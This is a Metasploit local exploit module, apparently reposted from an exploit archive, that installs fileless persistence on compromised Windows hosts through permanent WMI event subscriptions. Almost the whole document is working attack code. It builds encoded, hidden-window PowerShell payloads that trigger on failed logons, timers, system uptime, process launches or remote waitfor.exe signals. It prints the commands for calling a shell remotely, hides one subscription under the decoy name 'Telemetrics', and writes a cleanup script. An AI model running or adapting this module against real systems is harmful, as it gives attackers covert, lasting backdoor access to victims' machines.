## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/powershell' require 'msf/core/post/windows/powershell' require 'msf/core/post/file' class MetasploitModule < Msf::Exploit::Local include Msf::Post::Windows::Powershell include Msf::Exploit::Powershell include Post::Windows::Priv include Msf::Post::File def initialize(info = {}) super(update_info(info, 'Name' => 'WMI Event Subscription Persistence', 'Description' => %q{ This module will create a permanent WMI event subscription to achieve file-less persistence using one of five methods. The EVENT method will create an event filter that will query the event log for an EVENT_ID_TRIGGER (default: failed logon request id 4625) that also contains a specified USERNAME_TRIGGER (note: failed logon auditing must be enabled on the target for this method to work, this can be enabled using "auditpol.exe /set /subcategory:Logon /failure:Enable"). When these criteria are met a command line event consumer will trigger an encoded powershell payload. The INTERVAL method will create an event filter that triggers the payload after the specified CALLBACK_INTERVAL. The LOGON method will create an event filter that will trigger the payload after the system has an uptime of 4 minutes. The PROCESS method will create an event filter that triggers the payload when the specified process is started. The WAITFOR method creates an event filter that utilises the microsoft binary waitfor.exe to wait for a signal specified by WAITFOR_TRIGGER before executing the payload. The signal can be sent from a windows host on a LAN utilising the waitfor.exe command (note: requires target to have port 445 open). Additionally a custom command can be specified to run once the trigger is activated using the advanced option CUSTOM_PS_COMMAND. This module requires administrator level privileges as well as a high integrity process. It is also recommended not to use stageless payloads due to powershell script length limitations. }, 'Author' => ['Nick Tyrer <@NickTyrer>'], 'License' => MSF_LICENSE, 'Privileged' => true, 'Platform' => 'win', 'SessionTypes' => ['meterpreter'], 'Targets' => [['Windows', {}]], 'DisclosureDate' => 'Jun 6 2017', 'DefaultTarget' => 0, 'DefaultOptions' => { 'DisablePayloadHandler' => 'true' }, 'References' => [ ['URL', 'https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf'], ['URL', 'https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/'] ] )) register_options([ OptEnum.new('PERSISTENCE_METHOD', [true, 'Method to trigger the payload.', 'EVENT', ['EVENT','INTERVAL','LOGON','PROCESS', 'WAITFOR']]), OptInt.new('EVENT_ID_TRIGGER', [true, 'Event ID to trigger the payload. (Default: 4625)', 4625]), OptString.new('USERNAME_TRIGGER', [true, 'The username to trigger the payload. (Default: BOB)', 'BOB' ]), OptString.new('PROCESS_TRIGGER', [true, 'The process name to trigger the payload. (Default: CALC.EXE)', 'CALC.EXE' ]), OptString.new('WAITFOR_TRIGGER', [true, 'The word to trigger the payload. (Default: CALL)', 'CALL' ]), OptInt.new('CALLBACK_INTERVAL', [true, 'Time between callbacks (In milliseconds). (Default: 1800000).', 1800000 ]), OptString.new('CLASSNAME', [true, 'WMI event class name. (Default: UPDATER)', 'UPDATER' ]) ]) register_advanced_options( [ OptString.new('CUSTOM_PS_COMMAND', [false, 'Custom powershell command to run once the trigger is activated. (Note: some commands will need to be encolsed in quotes)', false, ]), ]) end def exploit unless have_powershell? print_error("This module requires powershell to run") return end unless is_admin? print_error("This module requires admin privs to run") return end unless is_high_integrity? print_error("This module requires UAC to be bypassed first") return end if is_system? print_error("This module cannot run as System") return end host = session.session_host print_status('Installing Persistence...') case datastore['PERSISTENCE_METHOD'] when 'LOGON' psh_exec(subscription_logon) print_good "Persistence installed!" remove_persistence when 'INTERVAL' psh_exec(subscription_interval) print_good "Persistence installed!" remove_persistence when 'EVENT' psh_exec(subscription_event) print_good "Persistence installed! Call a shell using \"smbclient \\\\\\\\#{host}\\\\C$ -U "+datastore['USERNAME_TRIGGER']+" \"" remove_persistence when 'PROCESS' psh_exec(subscription_process) print_good "Persistence installed!" remove_persistence when 'WAITFOR' psh_exec(subscription_waitfor) print_good "Persistence installed! Call a shell using \"waitfor.exe /S #{host} /SI "+datastore['WAITFOR_TRIGGER']+"\"" remove_persistence end end def build_payload if datastore['CUSTOM_PS_COMMAND'] script_in = datastore['CUSTOM_PS_COMMAND'] compressed_script = compress_script(script_in, eof = nil) encoded_script = encode_script(compressed_script, eof = nil) generate_psh_command_line(noprofile: true, windowstyle: 'hidden', encodedcommand: encoded_script) else cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true) end end def subscription_logon command = build_payload class_name = datastore['CLASSNAME'] <<-HEREDOC $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"; QueryLanguage = 'WQL'} $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} HEREDOC end def subscription_interval command = build_payload class_name = datastore['CLASSNAME'] callback_interval = datastore['CALLBACK_INTERVAL'] <<-HEREDOC $timer = Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments @{ IntervalBetweenEvents = ([UInt32] #{callback_interval}); SkipIfPassed = $false; TimerID = \"Trigger\"} $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"Select * FROM __TimerEvent WHERE TimerID = 'trigger'\"; QueryLanguage = 'WQL'} $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} HEREDOC end def subscription_event command = build_payload event_id = datastore['EVENT_ID_TRIGGER'] username = datastore['USERNAME_TRIGGER'] class_name = datastore['CLASSNAME'] <<-HEREDOC $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND Targetinstance.EventCode = '#{event_id}' And Targetinstance.Message Like '%#{username}%'\"; QueryLanguage = 'WQL'} $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} HEREDOC end def subscription_process command = build_payload class_name = datastore['CLASSNAME'] process_name = datastore['PROCESS_TRIGGER'] <<-HEREDOC $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName= '#{process_name}'\"; QueryLanguage = 'WQL'} $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} HEREDOC end def subscription_waitfor command = build_payload word = datastore['WAITFOR_TRIGGER'] class_name = datastore['CLASSNAME'] <<-HEREDOC $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceDeletionEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND Targetinstance.Name = 'waitfor.exe'\"; QueryLanguage = 'WQL'} $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"cmd.exe /C waitfor.exe #{word} && #{command} && taskkill /F /IM cmd.exe\"} $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} $filter1 = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"Telemetrics\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"; QueryLanguage = 'WQL'} $consumer1 = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"Telemetrics\"; CommandLineTemplate = \"waitfor.exe #{word}\"} $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter1; Consumer = $Consumer1} Start-Process -FilePath waitfor.exe #{word} -NoNewWindow HEREDOC end def log_file host = session.session_host filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") logs = ::File.join(Msf::Config.log_directory, 'wmi_persistence', Rex::FileUtils.clean_path(host + filenameinfo)) ::FileUtils.mkdir_p(logs) logfile = ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc') end def remove_persistence name_class = datastore['CLASSNAME'] clean_rc = log_file if datastore['PERSISTENCE_METHOD'] == "WAITFOR" clean_up_rc = "" clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"Telemetrics\\\" DELETE\"\n" clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"Telemetrics\\\" DELETE\"\n" clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"Telemetrics\\\"' DELETE\"\n" clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\"" else clean_up_rc = "" clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\"" end file_local_write(clean_rc, clean_up_rc) print_status("Clean up Meterpreter RC file: #{clean_rc}") end end # 0day.today [2018-03-09] #

Query Builder